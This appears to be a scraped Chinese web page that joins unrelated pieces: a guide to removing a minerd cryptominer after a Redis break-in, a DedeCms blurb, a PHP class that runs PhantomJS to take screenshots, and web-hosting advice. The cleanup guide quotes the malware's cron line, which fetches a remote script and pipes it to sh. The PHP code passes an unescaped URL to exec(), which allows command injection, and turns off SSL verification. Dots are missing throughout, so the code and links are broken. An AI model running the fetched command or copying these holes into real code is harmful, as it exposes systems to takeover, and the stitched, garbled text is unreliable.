php如何调用phantomJS截图
1 关闭访问挖矿服务器的访问
iptables -A INPUT -s xmrcrypto-poolfr -j DROP and iptables -A OUTPUT -d xmrcrypto-poolfr -j DROP
2 chmod -x minerd ,取消掉执行权限, 在没有找到根源前,千万不要删除 minerd,因为删除了,过一回会自动有生成一个。
3 pkill minerd ,杀掉进程
4 service stop crond 或者 crontab -r 删除所有的执行计划
5 执行top,查看了一会,没有再发现minerd 进程了。
6检查/var/spool/cron/目录下发现有个root用户的定时器文件。
下载脚本的语句:
/5 curl -fsSL http://wwwhaveabitchincom/pmsh0105010 | sh
病毒文件内容如下,感兴趣的可以研究下:
 View Code
解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限,http://blogjobbolecom/94518/然后就注入了病毒,下面是解决办法和清除工作:
1 修复 redis 的后门,
配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379
配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中
配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如conf
2 打开 ~/ssh/authorized_keys, 删除你不认识的账号
3 查看你的用户列表,是不是有你不认识的用户添加进来。 如果有就删除掉
DedeCms是国内最知名的PHP开源网站管理系统,也是使用用户最多的PHP类CMS系统。作用是构建域名为com、cx、cn、cc、net等中小型网站。中文名织梦,管理系统名称PHP开源。
DedeCm经超过20万以上站长级用户群经过长达4年之久的广泛应用和复杂化环境的检测,系统在安全性、稳定性、易用性方面具有较高的声誉,倍受广大站长推崇。 DedeCms采用PHP+MySQL技术开发,程序源代码完全开放,在尊重版权的前提下能极大地满足站长对于网站程序进行二次开发。
扩展资料
DedeCms的运行环境
1、Windows 平台
IIS/Apache + PHP4/PHP5 + MySQL3/4/5 如果在windows环境中使用,建议用DedeCMS提供的DedeAMPZ套件以达到最佳使用性能。
2、Linux/Unix 平台
Apache + PHP4/PHP5 + MySQL3/4/5 (PHP必须在非安全模式下运行) 建议使用平台:Linux+ Apache22 + PHP52 + MySQL50。
3、PHP必须环境或启用的系统函数
allow_url_fopen GD扩展库 MySQL扩展库 系统函数 —— phpinfo、dir。
-织梦 (PHP开源网站内容管理系统)
推荐:《PHP视频教程》
php调用phantomJS截图
知识储备
unix系统安装phantomjs,权限相关知识
基本JavaScript语法知识
php exec函数调用REPL phantomjs
phantomjs js截图文档 http://javascriptruanyifengcom/tool/phantomjshtml
代码(php 代码环境为yii2框架)
<php
namespace weapp\library\phantomjs;
use weapp\library\BizException;
class ScreenShot
{
/ @var string 获取phantomjs 参数中 js文件的决定路径 /
private $js_path;
/ @var bool|string 获取php 有777权限的临时文件目录 /
private $temp_dir;
function __construct()
{
$dir = __DIR__;
$this->js_path = "{$dir}/scriptjs";
/ @var bool|string 获取php 有777权限的临时文件目录 /
$this->temp_dir = \Yii::getAlias('@runtime');
}
/
截图并上传
@param string $url
@param string $filename
@return string
@throws BizException
/
public function screenShotThenSaveToOss(string $url, string $filename = 'tempjpg')
{
//输出的路径
$outputFilePath = "{$this->temp_dir}/$filename";
//执行的phantomjs命令
//phantomjs 可执行文件必须是 绝对路径 否则导致 exec 函数返回值127错误
$cmd = "\usr\local\bin\phantomjs {$this->js_path} '$url' '$outputFilePath'";
//捕捉不到phantomjs命令输出结果
exec($cmd, $output);
//检查截图文件是否存在
$isShotImgaeExist = file_exists($outputFilePath);
if (!$isShotImgaeExist) {
throw new BizException(0, 'phantomjs截图失败', BizException::SELF_DEFINE);
}
//保存截图到oss
$result = $this->postScreenShotImageToOss($outputFilePath);
//删除临时文件夹的截图
unlink($outputFilePath);
return $result;
}
/
上传截图到阿里云直传oss
@param string $screenshot_path
@return string
/
public function postScreenShotImageToOss(string $screenshot_path): string
{
$ossKey = 'raw_file_name';
$file = new \CURLFile($screenshot_path, 'image/jpeg', 'file');
$tokenArray = $this->getOssPolicyToken('fetch');
$url = $tokenArray->host;
$postData = [
'key' => "{$tokenArray->dir}/$ossKey",
'policy' => $tokenArray->policy,
'OSSAccessKeyId' => $tokenArray->accessid,
'success_action_status' => '200',
'signature' => $tokenArray->signature,
'callback' => $tokenArray->callback,
'file' => $file
];
$ch = curl_init();
//$data = array('name' => 'Foo', 'file' => '@/home/user/testpng');
curl_setopt($ch, CURLOPT_URL, $url);
// Disable SSL verification
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_SAFE_UPLOAD, true); // required as of PHP 560
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 20);
//curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: $mime_type"]);
$res = curl_exec($ch);
$res = json_decode($res);
curl_close($ch);
if (empty($res) || $res->code != 0) {
return '';
} else {
return $res->data->url;
}
}
/
调用管理后台阿里云oss token接口
@param null $url
@return array
/
public function getOssPolicyToken($url = null)
{
$url = \Yii::$app->params['oss_screen_shot_token_api'];
$ch = curl_init();
// Disable SSL verification
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
// Will return the response, if false it print the response
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Set the url
curl_setopt($ch, CURLOPT_URL, $url);
// Execute
$result = curl_exec($ch);
// Closing
curl_close($ch);
$res = json_decode($result);
if (empty($res) || $res->code != 0) {
return [];
} else {
return $res->data;
}
}
}
phantomjs javascript脚本内容
"use strict";
var system = require('system');
var webPage = require('webpage');
var page = webPagecreate();
//设置phantomjs的浏览器user-agent
pagesettingsuserAgent = 'Mozilla/50 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604138 (KHTML, like Gecko) Version/110 Mobile/15A372 Safari/6041';
//获取php exec 函数的命令行参数
if (systemargslength !== 3) {
consolelog(systemargs);
consolelog('参数错误');
consolelog('第2个参数为url地址 第3个参数为截图文件名称');
phantomexit(1);
}
//命令行 截图网址参数
var url = systemargs[1];
//输出路径
var filePath = systemargs[2];
consolelog('-------');
consolelog(url);
consolelog('-------');
consolelog(filePath);
consolelog('-------');
//设置浏览器视口
pageviewportSize = {width: 480, height: 960};
//打开网址
pageopen(url, function start(status) {
//1000ms之后开始截图
setTimeout(function () {
//截图格式为jpg 80%的质量
pagerender(filePath, {format: 'jpg', quality: '80'});
consolelog('success');
//退出phantomjs 避免phantomjs导致内存泄露
phantomexit();
}, 1000);
});
看需求吧,如果是发展前期,预算不足,个人小博客,就随意了,景安相对要便宜
就市场份额来说,阿里云就高太多了,大企业,大网站大部分都是阿里云的,阿里云的技术更强一些,云服务也更稳定,所以如果对稳定性和技术要求高的,就果断阿里云了
如果对这方面要求不太高的话,就景安
建站需要域名,服务器和建站程序
域名和服务器可以用阿里云的,大服务商比较稳定:网页链接
虚机是不太推荐,因为共享IP的虚机后期影响优化,独立IP的虚机不如服务器有性价比哈
有了域名和服务器就差建站程序了,论坛的话,可以用discuz来做,博客用dedecms或者wordpress,z-blog,企业站用dede,开源程序还有很多可以选择的
前期的话,服务器可以用win系统的,操作简单,新手也容易上手
建站大概流程就是
域名实名认证,服务器如果是国内的先备案,都可以在服务商后台操作的
都好了之后,域名解析到服务器
服务器配置环境,win系统直接用宝塔配置换,PHP+MYSQL+IIS 就可以的
服务器开设空间,绑定域名和开设数据库,这个都用宝塔来操作
上传网站程序到开设空间对应的文件夹里
访问域名搭建网站
网上都可以找到对应的教程 的,新手还是比较容易上手的哈
安全方面,服务器要再装一个安全狗,这样网站不容易被入侵
这些都好了之后,就要学seo了~增加网站在搜索引擎中的曝光率
0条评论